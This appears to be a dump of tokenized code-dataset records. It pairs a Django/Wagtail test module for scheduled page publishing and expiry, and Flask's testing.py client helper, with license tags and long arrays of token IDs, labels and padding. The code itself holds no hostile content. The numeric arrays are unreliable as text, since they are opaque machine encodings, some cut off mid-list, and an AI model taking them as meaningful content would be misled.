self.assertTrue(PageRevision.objects.filter(page=p).exclude(approved_go_live_at__isnull=True).exists()) management.call_command('publish_scheduled_pages') p = Page.objects.get(slug='hello-world') self.assertFalse(p.live) self.assertTrue(PageRevision.objects.filter(page=p).exclude(approved_go_live_at__isnull=True).exists()) def test_expired_page_will_be_unpublished(self): # Connect a mock signal handler to page_unpublished signal signal_fired = [False] signal_page = [None] def page_unpublished_handler(sender, instance, **kwargs): signal_fired[0] = True signal_page[0] = instance page_unpublished.connect(page_unpublished_handler) page = SimplePage( title="Hello world!", slug="hello-world", live=True, has_unpublished_changes=False, expire_at=timezone.now() - timedelta(days=1), ) self.root_page.add_child(instance=page) p = Page.objects.get(slug='hello-world') self.assertTrue(p.live) management.call_command('publish_scheduled_pages') p = Page.objects.get(slug='hello-world') self.assertFalse(p.live) self.assertTrue(p.has_unpublished_changes) self.assertTrue(p.expired) # Check that the page_published signal was fired self.assertTrue(signal_fired[0]) self.assertEqual(signal_page[0], page) self.assertEqual(signal_page[0], signal_page[0].specific) def test_future_expired_page_will_not_be_unpublished(self): page = SimplePage( title="Hello world!", slug="hello-world", live=True, expire_at=timezone.now() + timedelta(days=1), ) self.root_page.add_child(instance=page) p = Page.objects.get(slug='hello-world') self.assertTrue(p.live) management.call_command('publish_scheduled_pages') p = Page.objects.get(slug='hello-world') self.assertTrue(p.live) self.assertFalse(p.expired) def test_expired_pages_are_dropped_from_mod_queue(self): page = SimplePage( title="Hello world!", slug="hello-world", live=False, expire_at=timezone.now() - timedelta(days=1), ) self.root_page.add_child(instance=page) page.save_revision(submitted_for_moderation=True) p = Page.objects.get(slug='hello-world') self.assertFalse(p.live) self.assertTrue(PageRevision.objects.filter(page=p, submitted_for_moderation=True).exists()) management.call_command('publish_scheduled_pages') p = Page.objects.get(slug='hello-world') self.assertFalse(PageRevision.objects.filter(page=p, submitted_for_moderation=True).exists())
bsd-3-clause
[ 504, 2197, 492, 6871, 199, 199, 504, 1639, 14, 396, 492, 7640, 199, 504, 1639, 14, 1018, 492, 10041, 199, 504, 1639, 14, 1208, 492, 7137, 199, 504, 1639, 14, 1208, 14, 4174, 492, 5228, 199, 504, 1639, 14, 697, 492, 1709, 199, 199, 504, 7328, 14, 31439, 14, 992, 492, 10331, 12, 10331, 12714, 199, 504, 7328, 14, 31439, 14, 10458, 492, 2034, 63, 8987, 12, 2034, 63, 324, 8987, 199, 504, 7328, 14, 2219, 14, 19700, 14, 992, 492, 5870, 3276, 12, 6763, 3276, 421, 199, 533, 1379, 11985, 3987, 3110, 8, 1746, 304, 272, 15188, 275, 788, 396, 14, 1001, 418, 339, 347, 4875, 590, 63, 1807, 63, 1606, 8, 277, 12, 2034, 304, 267, 327, 28382, 282, 2034, 314, 6835, 4340, 14, 267, 327, 961, 911, 440, 1678, 1967, 1739, 436, 1443, 10137, 503, 838, 796, 267, 1709, 14, 1685, 14, 1807, 8, 1606, 9, 339, 347, 1255, 63, 1531, 8, 277, 12, 1011, 1419, 304, 267, 1511, 14, 5486, 360, 13543, 297, 756, 9, 398, 1072, 275, 5228, 342, 267, 10041, 14, 1250, 63, 1531, 360, 329, 400, 850, 297, 3839, 29, 1199, 12, 1011, 1419, 9, 267, 1072, 14, 5507, 8, 16, 9, 398, 372, 1072, 339, 347, 511, 63, 26205, 63, 1507, 1739, 8, 277, 304, 267, 327, 2372, 26586, 436, 3354, 2269, 574, 267, 26586, 275, 10331, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 6217, 267, 2269, 63, 1507, 1739, 275, 26586, 14, 1507, 1739, 398, 327, 22535, 652, 267, 26586, 14, 1507, 1739, 275, 25538, 267, 26586, 14, 2117, 342, 398, 327, 2670, 626, 2399, 10529, 267, 291, 14, 629, 8, 3276, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 1959, 1507, 1739, 12, 25538, 9, 398, 327, 6523, 1414, 267, 291, 14, 1065, 63, 1531, 342, 398, 327, 2670, 340, 2399, 6317, 267, 291, 14, 629, 8, 3276, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 1959, 1507, 1739, 12, 2269, 63, 1507, 1739, 9, 339, 347, 511, 63, 26205, 63, 4631, 8, 277, 304, 267, 327, 2372, 26586, 436, 3354, 2269, 574, 267, 26586, 275, 10331, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 6217, 267, 2269, 63, 4631, 275, 26586, 14, 4631, 398, 327, 22535, 652, 267, 26586, 14, 4631, 275, 25538, 267, 26586, 14, 2117, 342, 398, 327, 2670, 626, 2399, 10529, 267, 291, 14, 629, 8, 3276, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 1959, 4631, 12, 25538, 9, 398, 327, 6523, 1414, 267, 291, 14, 1065, 63, 1531, 342, 398, 327, 2670, 340, 2399, 6317, 267, 291, 14, 629, 8, 3276, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 1959, 4631, 12, 2269, 63, 4631, 9, 339, 347, 511, 63, 271, 28853, 63, 6847, 796, 8, 277, 304, 267, 4474, 63, 1080, 275, 10331, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 4368, 6217, 267, 682, 29999, 63, 1606, 275, 6763, 3276, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 4368, 15, 335, 29999, 6217, 398, 327, 8496, 314, 4474, 1478, 4875, 590, 267, 291, 14, 4087, 590, 63, 1807, 63, 1606, 8, 4368, 63, 1080, 9, 398, 327, 2670, 626, 682, 29999, 63, 1606, 365, 5139, 315, 314, 3123, 267, 291, 14, 1815, 8, 3276, 14, 1462, 14, 1541, 8, 344, 29, 335, 29999, 63, 1606, 14, 344, 680, 2444, 1012, 398, 327, 6523, 1414, 267, 1072, 275, 291, 14, 1065, 63, 1531, 342, 398, 327, 2670, 626, 314, 10876, 4898, 10501, 267, 1072, 63, 875, 275, 1072, 14, 739, 342, 267, 291, 14, 4080, 480, 18298, 1967, 1739, 574, 1911, 367, 6497, 26, 359, 18, 11472, 1072, 63, 875, 9, 267, 291, 14, 4080, 480, 2844, 16014, 379, 6497, 1911, 26, 359, 20, 12, 959, 12, 1227, 12, 1749, 11472, 1072, 63, 875, 9, 398, 327, 2670, 626, 682, 29999, 63, 1606, 365, 5139, 315, 314, 3123, 267, 291, 14, 1815, 8, 3276, 14, 1462, 14, 1541, 8, 344, 29, 335, 29999, 63, 1606, 14, 344, 680, 2444, 1012, 339, 347, 511, 63, 26289, 63, 6847, 796, 8, 277, 304, 267, 4474, 63, 1080, 275, 10331, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 4368, 6217, 267, 682, 29999, 63, 1606, 275, 6763, 3276, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 4368, 15, 335, 29999, 6217, 398, 327, 8496, 314, 4474, 1478, 4875, 590, 267, 291, 14, 4087, 590, 63, 1807, 63, 1606, 8, 4368, 63, 1080, 9, 398, 327, 2670, 626, 682, 29999, 63, 1606, 365, 5139, 315, 314, 3123, 267, 291, 14, 1815, 8, 3276, 14, 1462, 14, 1541, 8, 344, 29, 335, 29999, 63, 1606, 14, 344, 680, 2444, 1012, 398, 327, 6523, 1414, 267, 327, 3145, 63, 6847, 796, 4389, 15409, 282, 922, 15105, 316, 298, 89, 2, 737, 314, 8457, 267, 1072, 275, 291, 14, 1065, 63, 1531, 8, 1807, 63, 6847, 796, 29, 549, 9, 398, 327, 2670, 626, 314, 10876, 4898, 10501, 267, 1072, 63, 875, 275, 1072, 14, 739, 342, 267, 291, 14, 4080, 480, 18298, 1967, 1739, 574, 1911, 367, 6497, 26, 359, 18, 11472, 1072, 63, 875, 9, 267, 291, 14, 4080, 480, 20, 23237, 379, 6497, 5463, 4765, 1072, 63, 875, 9, 398, 327, 2670, 626, 682, 29999, 63, 1606, 965, 2757, 5463, 267, 291, 14, 3334, 8, 3276, 14, 1462, 14, 1541, 8, 344, 29, 335, 29999, 63, 1606, 14, 344, 680, 2444, 1012, 421, 199, 533, 1379, 10370, 17773, 3110, 8, 1746, 304, 272, 15188, 275, 788, 396, 14, 1001, 418, 339, 347, 1255, 63, 1531, 8, 277, 12, 687, 3131, 370, 304, 267, 10041, 14, 1250, 63, 1531, 360, 1185, 63, 5856, 297, 620, 8, 504, 29425, 620, 8, 475, 395, 12777, 29, 797, 12, 3839, 29, 6424, 1012, 339, 347, 511, 63, 1185, 63, 5856, 8, 277, 304, 267, 327, 2372, 6497, 267, 4474, 63, 1080, 275, 10331, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 4368, 6217, 267, 3595, 63, 527, 275, 10331, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 10254, 13, 527 ]
[ 2197, 492, 6871, 199, 199, 504, 1639, 14, 396, 492, 7640, 199, 504, 1639, 14, 1018, 492, 10041, 199, 504, 1639, 14, 1208, 492, 7137, 199, 504, 1639, 14, 1208, 14, 4174, 492, 5228, 199, 504, 1639, 14, 697, 492, 1709, 199, 199, 504, 7328, 14, 31439, 14, 992, 492, 10331, 12, 10331, 12714, 199, 504, 7328, 14, 31439, 14, 10458, 492, 2034, 63, 8987, 12, 2034, 63, 324, 8987, 199, 504, 7328, 14, 2219, 14, 19700, 14, 992, 492, 5870, 3276, 12, 6763, 3276, 421, 199, 533, 1379, 11985, 3987, 3110, 8, 1746, 304, 272, 15188, 275, 788, 396, 14, 1001, 418, 339, 347, 4875, 590, 63, 1807, 63, 1606, 8, 277, 12, 2034, 304, 267, 327, 28382, 282, 2034, 314, 6835, 4340, 14, 267, 327, 961, 911, 440, 1678, 1967, 1739, 436, 1443, 10137, 503, 838, 796, 267, 1709, 14, 1685, 14, 1807, 8, 1606, 9, 339, 347, 1255, 63, 1531, 8, 277, 12, 1011, 1419, 304, 267, 1511, 14, 5486, 360, 13543, 297, 756, 9, 398, 1072, 275, 5228, 342, 267, 10041, 14, 1250, 63, 1531, 360, 329, 400, 850, 297, 3839, 29, 1199, 12, 1011, 1419, 9, 267, 1072, 14, 5507, 8, 16, 9, 398, 372, 1072, 339, 347, 511, 63, 26205, 63, 1507, 1739, 8, 277, 304, 267, 327, 2372, 26586, 436, 3354, 2269, 574, 267, 26586, 275, 10331, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 6217, 267, 2269, 63, 1507, 1739, 275, 26586, 14, 1507, 1739, 398, 327, 22535, 652, 267, 26586, 14, 1507, 1739, 275, 25538, 267, 26586, 14, 2117, 342, 398, 327, 2670, 626, 2399, 10529, 267, 291, 14, 629, 8, 3276, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 1959, 1507, 1739, 12, 25538, 9, 398, 327, 6523, 1414, 267, 291, 14, 1065, 63, 1531, 342, 398, 327, 2670, 340, 2399, 6317, 267, 291, 14, 629, 8, 3276, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 1959, 1507, 1739, 12, 2269, 63, 1507, 1739, 9, 339, 347, 511, 63, 26205, 63, 4631, 8, 277, 304, 267, 327, 2372, 26586, 436, 3354, 2269, 574, 267, 26586, 275, 10331, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 6217, 267, 2269, 63, 4631, 275, 26586, 14, 4631, 398, 327, 22535, 652, 267, 26586, 14, 4631, 275, 25538, 267, 26586, 14, 2117, 342, 398, 327, 2670, 626, 2399, 10529, 267, 291, 14, 629, 8, 3276, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 1959, 4631, 12, 25538, 9, 398, 327, 6523, 1414, 267, 291, 14, 1065, 63, 1531, 342, 398, 327, 2670, 340, 2399, 6317, 267, 291, 14, 629, 8, 3276, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 1959, 4631, 12, 2269, 63, 4631, 9, 339, 347, 511, 63, 271, 28853, 63, 6847, 796, 8, 277, 304, 267, 4474, 63, 1080, 275, 10331, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 4368, 6217, 267, 682, 29999, 63, 1606, 275, 6763, 3276, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 4368, 15, 335, 29999, 6217, 398, 327, 8496, 314, 4474, 1478, 4875, 590, 267, 291, 14, 4087, 590, 63, 1807, 63, 1606, 8, 4368, 63, 1080, 9, 398, 327, 2670, 626, 682, 29999, 63, 1606, 365, 5139, 315, 314, 3123, 267, 291, 14, 1815, 8, 3276, 14, 1462, 14, 1541, 8, 344, 29, 335, 29999, 63, 1606, 14, 344, 680, 2444, 1012, 398, 327, 6523, 1414, 267, 1072, 275, 291, 14, 1065, 63, 1531, 342, 398, 327, 2670, 626, 314, 10876, 4898, 10501, 267, 1072, 63, 875, 275, 1072, 14, 739, 342, 267, 291, 14, 4080, 480, 18298, 1967, 1739, 574, 1911, 367, 6497, 26, 359, 18, 11472, 1072, 63, 875, 9, 267, 291, 14, 4080, 480, 2844, 16014, 379, 6497, 1911, 26, 359, 20, 12, 959, 12, 1227, 12, 1749, 11472, 1072, 63, 875, 9, 398, 327, 2670, 626, 682, 29999, 63, 1606, 365, 5139, 315, 314, 3123, 267, 291, 14, 1815, 8, 3276, 14, 1462, 14, 1541, 8, 344, 29, 335, 29999, 63, 1606, 14, 344, 680, 2444, 1012, 339, 347, 511, 63, 26289, 63, 6847, 796, 8, 277, 304, 267, 4474, 63, 1080, 275, 10331, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 4368, 6217, 267, 682, 29999, 63, 1606, 275, 6763, 3276, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 4368, 15, 335, 29999, 6217, 398, 327, 8496, 314, 4474, 1478, 4875, 590, 267, 291, 14, 4087, 590, 63, 1807, 63, 1606, 8, 4368, 63, 1080, 9, 398, 327, 2670, 626, 682, 29999, 63, 1606, 365, 5139, 315, 314, 3123, 267, 291, 14, 1815, 8, 3276, 14, 1462, 14, 1541, 8, 344, 29, 335, 29999, 63, 1606, 14, 344, 680, 2444, 1012, 398, 327, 6523, 1414, 267, 327, 3145, 63, 6847, 796, 4389, 15409, 282, 922, 15105, 316, 298, 89, 2, 737, 314, 8457, 267, 1072, 275, 291, 14, 1065, 63, 1531, 8, 1807, 63, 6847, 796, 29, 549, 9, 398, 327, 2670, 626, 314, 10876, 4898, 10501, 267, 1072, 63, 875, 275, 1072, 14, 739, 342, 267, 291, 14, 4080, 480, 18298, 1967, 1739, 574, 1911, 367, 6497, 26, 359, 18, 11472, 1072, 63, 875, 9, 267, 291, 14, 4080, 480, 20, 23237, 379, 6497, 5463, 4765, 1072, 63, 875, 9, 398, 327, 2670, 626, 682, 29999, 63, 1606, 965, 2757, 5463, 267, 291, 14, 3334, 8, 3276, 14, 1462, 14, 1541, 8, 344, 29, 335, 29999, 63, 1606, 14, 344, 680, 2444, 1012, 421, 199, 533, 1379, 10370, 17773, 3110, 8, 1746, 304, 272, 15188, 275, 788, 396, 14, 1001, 418, 339, 347, 1255, 63, 1531, 8, 277, 12, 687, 3131, 370, 304, 267, 10041, 14, 1250, 63, 1531, 360, 1185, 63, 5856, 297, 620, 8, 504, 29425, 620, 8, 475, 395, 12777, 29, 797, 12, 3839, 29, 6424, 1012, 339, 347, 511, 63, 1185, 63, 5856, 8, 277, 304, 267, 327, 2372, 6497, 267, 4474, 63, 1080, 275, 10331, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 4368, 6217, 267, 3595, 63, 527, 275, 10331, 14, 1462, 14, 362, 8, 633, 63, 515, 8805, 4219, 15, 10254, 13, 527, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
gwwfps/boxrps
flask/testing.py
7
1356
# -*- coding: utf-8 -*- """ flask.testing ~~~~~~~~~~~~~ Implements test support helpers. This module is lazily imported and usually not used in production environments. :copyright: (c) 2010 by Armin Ronacher. :license: BSD, see LICENSE for more details. """ from werkzeug import Client from flask import _request_ctx_stack class FlaskClient(Client): """Works like a regular Werkzeug test client but has some knowledge about how Flask works to defer the cleanup of the request context stack to the end of a with body when used in a with statement. """ preserve_context = context_preserved = False def open(self, *args, **kwargs): if self.context_preserved: _request_ctx_stack.pop() self.context_preserved = False kwargs.setdefault('environ_overrides', {}) \ ['flask._preserve_context'] = self.preserve_context old = _request_ctx_stack.top try: return Client.open(self, *args, **kwargs) finally: self.context_preserved = _request_ctx_stack.top is not old def __enter__(self): self.preserve_context = True return self def __exit__(self, exc_type, exc_value, tb): self.preserve_context = False if self.context_preserved: _request_ctx_stack.pop()
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 7209, 14, 4776, 272, 32202, 94, 339, 24664, 511, 2291, 10897, 14, 221, 961, 859, 365, 29667, 3444, 8439, 272, 436, 9987, 440, 1202, 315, 9920, 22196, 14, 339, 520, 7307, 26, 334, 67, 9, 7129, 701, 1952, 827, 32472, 19728, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 199, 504, 10380, 492, 6810, 199, 504, 7209, 492, 485, 1069, 63, 3799, 63, 2340, 421, 199, 533, 16704, 3041, 8, 3041, 304, 272, 408, 25348, 2839, 282, 5578, 22798, 511, 1890, 1325, 965, 2005, 272, 29105, 3595, 4212, 16704, 5419, 370, 10133, 314, 9058, 402, 314, 272, 1056, 1067, 3464, 370, 314, 1284, 402, 282, 543, 2396, 1380, 1202, 272, 315, 282, 543, 5164, 14, 272, 408, 339, 11211, 63, 1100, 275, 1067, 63, 32104, 275, 756, 339, 347, 1551, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 340, 291, 14, 1100, 63, 32104, 26, 288, 485, 1069, 63, 3799, 63, 2340, 14, 1935, 342, 288, 291, 14, 1100, 63, 32104, 275, 756, 267, 2074, 14, 5486, 360, 2314, 63, 12867, 297, 5009, 971, 288, 788, 15720, 423, 17053, 63, 1100, 418, 275, 291, 14, 17053, 63, 1100, 267, 2269, 275, 485, 1069, 63, 3799, 63, 2340, 14, 2119, 267, 862, 26, 288, 372, 6810, 14, 1490, 8, 277, 12, 627, 589, 12, 1011, 958, 9, 267, 3753, 26, 288, 291, 14, 1100, 63, 32104, 275, 485, 1069, 63, 3799, 63, 2340, 14, 2119, 365, 440, 2269, 339, 347, 636, 4200, 721, 277, 304, 267, 291, 14, 17053, 63, 1100, 275, 715, 267, 372, 291, 339, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 585, 12, 7070, 304, 267, 291, 14, 17053, 63, 1100, 275, 756, 267, 340, 291, 14, 1100, 63, 32104, 26, 288, 485, 1069, 63, 3799, 63, 2340, 14, 1935, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 7209, 14, 4776, 272, 32202, 94, 339, 24664, 511, 2291, 10897, 14, 221, 961, 859, 365, 29667, 3444, 8439, 272, 436, 9987, 440, 1202, 315, 9920, 22196, 14, 339, 520, 7307, 26, 334, 67, 9, 7129, 701, 1952, 827, 32472, 19728, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 199, 504, 10380, 492, 6810, 199, 504, 7209, 492, 485, 1069, 63, 3799, 63, 2340, 421, 199, 533, 16704, 3041, 8, 3041, 304, 272, 408, 25348, 2839, 282, 5578, 22798, 511, 1890, 1325, 965, 2005, 272, 29105, 3595, 4212, 16704, 5419, 370, 10133, 314, 9058, 402, 314, 272, 1056, 1067, 3464, 370, 314, 1284, 402, 282, 543, 2396, 1380, 1202, 272, 315, 282, 543, 5164, 14, 272, 408, 339, 11211, 63, 1100, 275, 1067, 63, 32104, 275, 756, 339, 347, 1551, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 340, 291, 14, 1100, 63, 32104, 26, 288, 485, 1069, 63, 3799, 63, 2340, 14, 1935, 342, 288, 291, 14, 1100, 63, 32104, 275, 756, 267, 2074, 14, 5486, 360, 2314, 63, 12867, 297, 5009, 971, 288, 788, 15720, 423, 17053, 63, 1100, 418, 275, 291, 14, 17053, 63, 1100, 267, 2269, 275, 485, 1069, 63, 3799, 63, 2340, 14, 2119, 267, 862, 26, 288, 372, 6810, 14, 1490, 8, 277, 12, 627, 589, 12, 1011, 958, 9, 267, 3753, 26, 288, 291, 14, 1100, 63, 32104, 275, 485, 1069, 63, 3799, 63, 2340, 14, 2119, 365, 440, 2269, 339, 347, 636, 4200, 721, 277, 304, 267, 291, 14, 17053, 63, 1100, 275, 715, 267, 372, 291, 339, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 585, 12, 7070, 304, 267, 291, 14, 17053, 63, 1100, 275, 756, 267, 340, 291, 14, 1100, 63, 32104, 26, 288, 485, 1069, 63, 3799, 63, 2340, 14, 1935, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 